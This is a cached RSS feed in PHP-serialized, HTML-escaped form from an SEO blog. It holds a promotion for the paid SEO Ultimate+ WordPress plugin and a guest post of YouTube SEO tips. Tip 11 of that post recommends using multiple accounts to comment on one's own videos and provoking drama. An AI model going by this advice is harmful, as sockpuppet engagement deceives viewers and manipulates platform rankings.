data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot; style=\&quot;margin-top:20px;margin-bottom:20px;\&quot;&gt;\n&lt;p&gt;There’s even a global fallback in SEO Ultimate+ in case you forget to add custom OG data at the page level where you can assign entire post types to as rules to a specific Open Graph type or specific type of Twitter Cards (&lt;a href=\&quot;https://dev.twitter.com/cards/types\&quot; data-mce-href=\&quot;https://dev.twitter.com/cards/types\&quot;&gt;all 7 twitter cards&lt;/a&gt; are available and validate).&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;Global Post Type Customization for Open Graph and Twitter Cards.&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;image-module img-responsive square img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;Create Valid Twitter Cards with Ease\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/7-Twitter-Card-Types-1200x622.png\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;headline clearfix text-center\&quot;&gt;\n&lt;h3 style=\&quot;font-size:34px;font-family:Open Sans;color:#222222;margin-top:15px;margin-bottom:25px;\&quot;&gt;&lt;strong&gt;The New (Premium) OpenGraph+ Module and 7 New Rich Snippets&lt;/strong&gt;&lt;/h3&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;You can also mass edit pages and posts (up to 100 entries at a time and customize unique titles, meta descriptions, Open Graph, Google+, FB and Twitter inputs).&lt;/p&gt;\n&lt;p&gt;Now that’s something you can’t do with the FREE version of SEO Ultimate…since it only has rich-snippets for &lt;em&gt;place&lt;/em&gt; and &lt;em&gt;review&lt;/em&gt; ;( and sorry guys &lt;strong&gt;no new features on the free version from now on&lt;/strong&gt;, only bug fixes as all new feature development is moving exclusively the premium version SEO Ultimate+.&lt;/p&gt;\n&lt;p&gt;In any case, this is only the beginning and we’ll be adding new features to SEO Ultimate plus, but don’t worry, there’s still plenty of horsepower in the free version (which you can get &lt;a href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot; data-mce-href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot;&gt;FREE video training&lt;/a&gt; for here). Before we leave, we&amp;#8217;ll let you play the quick and dirty version of the OpenGraph+ Module video.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:35px;margin-bottom:35px;\&quot;&gt;&lt;iframe style=\&quot;height: 313px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/hocfwbb6rd?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;650\&quot; height=\&quot;311\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;But, if you haven’t already, let us know what you think by clicking here and &lt;a href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot; data-mce-href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot;&gt;leaving us a review on WordPress&lt;/a&gt; ;) or you can show your support by purchasing &lt;a href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot;&gt;SEO Ultimate+&lt;/a&gt; for its powerful new features, training and support.&lt;/p&gt;\n&lt;p&gt;If you&amp;#8217;re looking&amp;nbsp; to build a new site, make sure to try SEO Ultimate&amp;#8217;s companion product the &lt;a href=\&quot;http://www.seodesignframework.com\&quot; data-mce-href=\&quot;http://www.seodesignframework.com\&quot;&gt;SEO Design Framework&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;Thanks for stopping in&amp;#8230; since we can&amp;#8217;t read it, let us know what&amp;#8217;s on your mind. &lt;/p&gt;\n&lt;p&gt;Leave a comment below or share this post socially to get the word out about &lt;em&gt;&lt;strong&gt;our soft launch for SEO Ultimate+ &lt;/strong&gt;&lt;/em&gt;(up, up and away).&lt;/p&gt;\n&lt;p&gt;We look forward to hearing from you or you can be stealthy and just &lt;a href=\&quot;https://twitter.com/@jeffrey_smith\&quot; data-mce-href=\&quot;https://twitter.com/@jeffrey_smith\&quot;&gt;follow me on twitter&lt;/a&gt; instead.&lt;/p&gt;\n&lt;p&gt;All the best!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=CLbuMSbKLvM:2zGIgKikAM0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/CLbuMSbKLvM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:9;a:11:{s:5:\&quot;title\&quot;;s:77:\&quot;The Most Effective YouTube SEO Tactics for Guaranteed Video &amp; Website Traffic\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/jEG9LXlzxPI/\&quot;;s:8:\&quot;category\&quot;;s:8:\&quot;SEO Tips\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:10:\&quot;Guest Post\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sat, 27 Jun 2015 10:42:57 PDT\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9473\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:8887:\&quot;&lt;p&gt;&lt;img class=\&quot; wp-image-9479 size-full aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/oa_youtube_Channels.png\&quot; alt=\&quot;oa_youtube_Channels\&quot; width=\&quot;640\&quot; height=\&quot;428\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/oa_youtube_Channels.png 640w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/oa_youtube_Channels-300x201.png 300w\&quot; sizes=\&quot;(max-width: 640px) 100vw, 640px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;YouTube is by far the most popular video-sharing sites today. Your business stands to benefit greatly from a YouTube presence in that:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;YouTube only comes after Google &amp;amp; Facebook when it comes to daily visits. Billions of videos are viewed every month on YouTube, meaning there is a very high chance that your video will get many views once you post it.&lt;/li&gt;\n&lt;li&gt;You will reach targeted Web traffic. Recent research by Nielsen shows that YouTube gets the most visits from adults aged between 18 and 34.&lt;/li&gt;\n&lt;li&gt;It is free to post a video on YouTube, meaning you can put your advertising dollars elsewhere.&lt;/li&gt;\n&lt;li&gt;Your YouTube campaign will help you get a more targeted mailing list by asking people who view your videos to sign up to your mailing list. People who have viewed and liked your videos are more likely to buy from you (and to recommend your company/products to their friends).&lt;/li&gt;\n&lt;li&gt;You will be able to demonstrate products, which is particularly important if your physical distribution channel is limited.&lt;/li&gt;\n&lt;li&gt;If you want to build a community for your business or the business already has a community, YouTube videos are a tool to engage and share with customers. As an example, you could have video blogs or event footage for your customers if you are a bicycle retailer.&lt;/li&gt;\n&lt;li&gt;YouTube will help you build your reputation as a guru in your field. You could post such things as video tutorials.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;&lt;strong&gt;Effective YouTube SEO Tactics Include&lt;/strong&gt;&lt;/h3&gt;\n&lt;p&gt;&lt;img class=\&quot; wp-image-9480 size-full aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-marketing.jpg\&quot; alt=\&quot;youtube-marketing\&quot; width=\&quot;730\&quot; height=\&quot;305\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-marketing.jpg 730w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-marketing-300x125.jpg 300w\&quot; sizes=\&quot;(max-width: 730px) 100vw, 730px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Google’s Universal Search blends videos, images, books, news, and local searches in the search engine’s search results. This shows that Google values videos as much as it does text pages. Videos hosted on YouTube will help you reach many people.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; The fact that there are millions of videos on YouTube poses a challenge in that you will be competing with very many videos. If you want improved visibility, consider running a YouTube search engine optimization (&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;) campaign. Several SEO tactics will greatly increase the visibility of your video.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; YouTube allows you to include a video description for every video. Since Google and YouTube cannot listen or watch your video yet, they rely on the description to understand the topic of your video. The description should be keyword-optimized. Take all other precautions you would with other search engine optimized text (such as ensuring the content is unique).&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Consider optimizing around “video keywords.” Note that although YouTube videos have an edge on Google’s SERP, this is only true for some keywords. These are called “Video Keywords.” As an example, you expect a few video results when you use the keyword “cute cats” (which makes sense since the person who searches for this keyword is most likely looking for a video, not an article on cute cats). On the other hand, someone searching for the keyword “muscle aches” is most likely looking for an article.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;5)&lt;/strong&gt; A proven YouTube SEO tactic is getting your videos to online communities. You can achieve this by sharing your YouTube videos on these communities. Online communities comprise of people who have similar interests and so you will get more high-retention traffic if you find the right community.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;6)&lt;/strong&gt; YouTube algorithm values user experience signals because it does not use backlinks. You should therefore ensure your videos are interesting since subscribing and liking are the most important YouTube user experience signals, in that order. Simply asking people to like, subscribe, share, and/or share is an effective way of achieving this.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;7)&lt;/strong&gt; Consider creating playlists and ensure they are keyword-rich. Organize your YouTube channel and you will realize more YouTube traffic. YouTube gets deeper info about the topics of your videos from keyword-rich playlists.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;8)&lt;/strong&gt; The name of the video should have the word “video” whenever possible and it should include an appropriate keyword. This is because most people search for videos using keywords and include the word “video” after the keyword.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;9)&lt;/strong&gt; You should watermark your videos. The best video editing software programs allow you to place small translucent logos in the corner of your videos. Watermarks help give more credibility to your videos.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;10)&lt;/strong&gt; Advertise your channel on your website, your blog, on article submission directories, and everywhere else possible because the more channel views you get, the higher it will rank in its niche.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;11)&lt;/strong&gt; You could create different accounts and comment on the videos to get things rolling (never attempt to do this using a single account since YouTube considers this a Grey Hat SEO tactic). Consider enticing some drama since people like flocking to conflict.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;12)&lt;/strong&gt; YouTube considers the number of dislikes when ranking videos and you should, therefore take pre-emptive action when you start receiving negative feedback. It might be necessary to bring down your video to ensure it does not give your channel a bad name.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;13)&lt;/strong&gt; Link building remains one of the most effective SEO tactics. You should therefore consider having links to your website in the video description. This not only helps your SEO efforts, but it also gives you targeted web traffic.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;14)&lt;/strong&gt; Give views more options by including audio cues and illustrations over and above video and text. This increases the overall engagement the video receives since you will be catering to varying learning styles.&lt;/p&gt;\n&lt;h3&gt;&lt;strong&gt;Other Helpful Tips&lt;/strong&gt;&lt;/h3&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter wp-image-9481 size-full\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-analytics-banner.jpg\&quot; alt=\&quot;youtube-analytics-banner\&quot; width=\&quot;600\&quot; height=\&quot;292\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-analytics-banner.jpg 600w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-analytics-banner-300x146.jpg 300w\&quot; sizes=\&quot;(max-width: 600px) 100vw, 600px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;YouTube Insights is an analytics feature that gives you such information as demographics and the point at which people stopped watching a particular video. This data will help you produce better videos in the future.&lt;/p&gt;\n&lt;p&gt;YouTube uses thumbnails to help people who are searching through videos. It takes these thumbnails from the ¼, ½, and ¾ marks. Choose the most appropriate thumbs to display. You could try to manipulate videos (if this will not be disruptive) for you to get the most compelling images at these points. Thumbnails greatly affect the click-through rate.&lt;/p&gt;\n&lt;p&gt;Combine SEO with other website promotion tactics such as article submission for the best results.&lt;/p&gt;\n&lt;p&gt;Consider such things as the length and quality of your video as this determines if your audience will watch the video to the end.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Author Bio:&lt;/strong&gt; Lalit Sharma is an SEO consultant who runs a SEO house called &lt;a href=\&quot;http://www.rankingbyseo.com/seo-services-india.html\&quot; rel=\&quot;nofollow\&quot;&gt;Ranking By SEO&lt;/a&gt;. He is specialized in link building and other SEO related activities. You can also find him on &lt;a href=\&quot;https://twitter.com/rankingbyseo\&quot; rel=\&quot;nofollow\&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=\&quot;https://plus.google.com/+LalitSharma/posts\&quot; rel=\&quot;nofollow\&quot;&gt;Google+&lt;/a&gt; and his personal blog.&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=jEG9LXlzxPI:HqIcsUcjkvU:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/jEG9LXlzxPI\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:498:\&quot;YouTube is by far the most popular video-sharing sites today. Your business stands to benefit greatly from a YouTube presence in that: YouTube only comes after Google &amp;#38; Facebook when it comes to daily visits. Billions of videos are viewed every month on YouTube, meaning there is a very high chance that your video will &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/the-most-effective-youtube-seo-tactics-for-guaranteed-video-website-traffic/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:124:\&quot;http://www.seodesignsolutions.com/blog/seo-tips/the-most-effective-youtube-seo-tactics-for-guaranteed-video-website-traffic/\&quot;;}s:7:\&quot;summary\&quot;;s:498:\&quot;YouTube is by far the most popular video-sharing sites today. Your business stands to benefit greatly from a YouTube presence in that: YouTube only comes after Google &amp;#38; Facebook when it comes to daily visits. Billions of videos are viewed every month on YouTube, meaning there is a very high chance that your video will &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/the-most-effective-youtube-seo-tactics-for-guaranteed-video-website-traffic/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:8887:\&quot;&lt;p&gt;&lt;img class=\&quot; wp-image-9479 size-full aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/oa_youtube_Channels.png\&quot; alt=\&quot;oa_youtube_Channels\&quot; width=\&quot;640\&quot; height=\&quot;428\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/oa_youtube_Channels.png 640w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/oa_youtube_Channels-300x201.png 300w\&quot; sizes=\&quot;(max-width: 640px) 100vw, 640px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;YouTube is by far the most popular video-sharing sites today. Your business stands to benefit greatly from a YouTube presence in that:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;YouTube only comes after Google &amp;amp; Facebook when it comes to daily visits. Billions of videos are viewed every month on YouTube, meaning there is a very high chance that your video will get many views once you post it.&lt;/li&gt;\n&lt;li&gt;You will reach targeted Web traffic. Recent research by Nielsen shows that YouTube gets the most visits from adults aged between 18 and 34.&lt;/li&gt;\n&lt;li&gt;It is free to post a video on YouTube, meaning you can put your advertising dollars elsewhere.&lt;/li&gt;\n&lt;li&gt;Your YouTube campaign will help you get a more targeted mailing list by asking people who view your videos to sign up to your mailing list. People who have viewed and liked your videos are more likely to buy from you (and to recommend your company/products to their friends).&lt;/li&gt;\n&lt;li&gt;You will be able to demonstrate products, which is particularly important if your physical distribution channel is limited.&lt;/li&gt;\n&lt;li&gt;If you want to build a community for your business or the business already has a community, YouTube videos are a tool to engage and share with customers. As an example, you could have video blogs or event footage for your customers if you are a bicycle retailer.&lt;/li&gt;\n&lt;li&gt;YouTube will help you build your reputation as a guru in your field. You could post such things as video tutorials.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;&lt;strong&gt;Effective YouTube SEO Tactics Include&lt;/strong&gt;&lt;/h3&gt;\n&lt;p&gt;&lt;img class=\&quot; wp-image-9480 size-full aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-marketing.jpg\&quot; alt=\&quot;youtube-marketing\&quot; width=\&quot;730\&quot; height=\&quot;305\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-marketing.jpg 730w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-marketing-300x125.jpg 300w\&quot; sizes=\&quot;(max-width: 730px) 100vw, 730px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Google’s Universal Search blends videos, images, books, news, and local searches in the search engine’s search results. This shows that Google values videos as much as it does text pages. Videos hosted on YouTube will help you reach many people.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; The fact that there are millions of videos on YouTube poses a challenge in that you will be competing with very many videos. If you want improved visibility, consider running a YouTube search engine optimization (&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;) campaign. Several SEO tactics will greatly increase the visibility of your video.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; YouTube allows you to include a video description for every video. Since Google and YouTube cannot listen or watch your video yet, they rely on the description to understand the topic of your video. The description should be keyword-optimized. Take all other precautions you would with other search engine optimized text (such as ensuring the content is unique).&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Consider optimizing around “video keywords.” Note that although YouTube videos have an edge on Google’s SERP, this is only true for some keywords. These are called “Video Keywords.” As an example, you expect a few video results when you use the keyword “cute cats” (which makes sense since the person who searches for this keyword is most likely looking for a video, not an article on cute cats). On the other hand, someone searching for the keyword “muscle aches” is most likely looking for an article.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;5)&lt;/strong&gt; A proven YouTube SEO tactic is getting your videos to online communities. You can achieve this by sharing your YouTube videos on these communities. Online communities comprise of people who have similar interests and so you will get more high-retention traffic if you find the right community.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;6)&lt;/strong&gt; YouTube algorithm values user experience signals because it does not use backlinks. You should therefore ensure your videos are interesting since subscribing and liking are the most important YouTube user experience signals, in that order. Simply asking people to like, subscribe, share, and/or share is an effective way of achieving this.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;7)&lt;/strong&gt; Consider creating playlists and ensure they are keyword-rich. Organize your YouTube channel and you will realize more YouTube traffic. YouTube gets deeper info about the topics of your videos from keyword-rich playlists.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;8)&lt;/strong&gt; The name of the video should have the word “video” whenever possible and it should include an appropriate keyword. This is because most people search for videos using keywords and include the word “video” after the keyword.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;9)&lt;/strong&gt; You should watermark your videos. The best video editing software programs allow you to place small translucent logos in the corner of your videos. Watermarks help give more credibility to your videos.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;10)&lt;/strong&gt; Advertise your channel on your website, your blog, on article submission directories, and everywhere else possible because the more channel views you get, the higher it will rank in its niche.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;11)&lt;/strong&gt; You could create different accounts and comment on the videos to get things rolling (never attempt to do this using a single account since YouTube considers this a Grey Hat SEO tactic). Consider enticing some drama since people like flocking to conflict.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;12)&lt;/strong&gt; YouTube considers the number of dislikes when ranking videos and you should, therefore take pre-emptive action when you start receiving negative feedback. It might be necessary to bring down your video to ensure it does not give your channel a bad name.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;13)&lt;/strong&gt; Link building remains one of the most effective SEO tactics. You should therefore consider having links to your website in the video description. This not only helps your SEO efforts, but it also gives you targeted web traffic.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;14)&lt;/strong&gt; Give views more options by including audio cues and illustrations over and above video and text. This increases the overall engagement the video receives since you will be catering to varying learning styles.&lt;/p&gt;\n&lt;h3&gt;&lt;strong&gt;Other Helpful Tips&lt;/strong&gt;&lt;/h3&gt;\n&lt;p&gt;&lt;img class=\&quot;aligncenter wp-image-9481 size-full\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-analytics-banner.jpg\&quot; alt=\&quot;youtube-analytics-banner\&quot; width=\&quot;600\&quot; height=\&quot;292\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-analytics-banner.jpg 600w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2015/06/youtube-analytics-banner-300x146.jpg 300w\&quot; sizes=\&quot;(max-width: 600px) 100vw, 600px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;YouTube Insights is an analytics feature that gives you such information as demographics and the point at which people stopped watching a particular video. This data will help you produce better videos in the future.&lt;/p&gt;\n&lt;p&gt;YouTube uses thumbnails to help people who are searching through videos. It takes these thumbnails from the ¼, ½, and ¾ marks. Choose the most appropriate thumbs to display. You could try to manipulate videos (if this will not be disruptive) for you to get the most compelling images at these points. Thumbnails greatly affect the click-through rate.&lt;/p&gt;\n&lt;p&gt;Combine SEO with other website promotion tactics such as article submission for the best results.&lt;/p&gt;\n&lt;p&gt;Consider such things as the length and quality of your video as this determines if your audience will watch the video to the end.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Author Bio:&lt;/strong&gt; Lalit Sharma is an SEO consultant who runs a SEO house called &lt;a href=\&quot;http://www.rankingbyseo.com/seo-services-india.html\&quot; rel=\&quot;nofollow\&quot;&gt;Ranking By SEO&lt;/a&gt;. He is specialized in link building and other SEO related activities. You can also find him on &lt;a href=\&quot;https://twitter.com/rankingbyseo\&quot; rel=\&quot;nofollow\&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=\&quot;https://plus.google.com/+LalitSharma/posts\&quot; rel=\&quot;nofollow\&quot;&gt;Google+&lt;/a&gt; and his personal blog.&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=jEG9LXlzxPI:HqIcsUcjkvU:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/jEG9LXlzxPI\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}}s:7:\&quot;channel\&quot;;a:9:{s:5:\&quot;title\&quot;;s:28:\&quot;SEO Design Solutions™ Blog\&quot;;s:4:\&quot;link\&quot;;s:38:\&quot;http://www.seodesignsolutions.com/blog\&quot;;s:11:\&quot;description\&quot;;s:94:\&quot;Search Engine Optimization Strategies, Tips, Tactics and Techniques from SEO Design Solutions.\&quot;;s:8:\&quot;language\&quot;;s:5:\&quot;en-US\&quot;;s:13:\&quot;lastbuilddate\&quot;;s:29:\&quot;Fri, 19 May 2017 10:46:40 PDT\&quot;;s:9:\&quot;generator\&quot;;s:30:\&quot;https://wordpress.org/?v=4.7.5\&quot;;s:2:\&quot;sy\&quot;;a:2:{s:12:\&quot;updateperiod\&quot;;s:6:\&quot;hourly\&quot;;s:15:\&quot;updatefrequency\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:3:{s:14:\&quot;emailserviceid\&quot;;s:22:\&quot;SeoDesignSolutionsBlog\&quot;;s:18:\&quot;feedburnerhostname\&quot;;s:29:\&quot;https://feedburner.google.com\&quot;;s:9:\&quot;feedflare\&quot;;s:391:\&quot;Subscribe with My Yahoo!Subscribe with BloglinesSubscribe with NetvibesSubscribe with Bitty BrowserSubscribe with Daily RotationSubscribe with My AOLSubscribe with WikioSubscribe with PageflakesSubscribe with Excite MIXSubscribe with GoogleSubscribe with The Free DictionarySubscribe with Podcast ReadySubscribe with NewsGatorSubscribe with WebwagSubscribe with Live.comSubscribe with Plusmo\&quot;;}s:7:\&quot;tagline\&quot;;s:94:\&quot;Search Engine Optimization Strategies, Tips, Tactics and Techniques from SEO Design 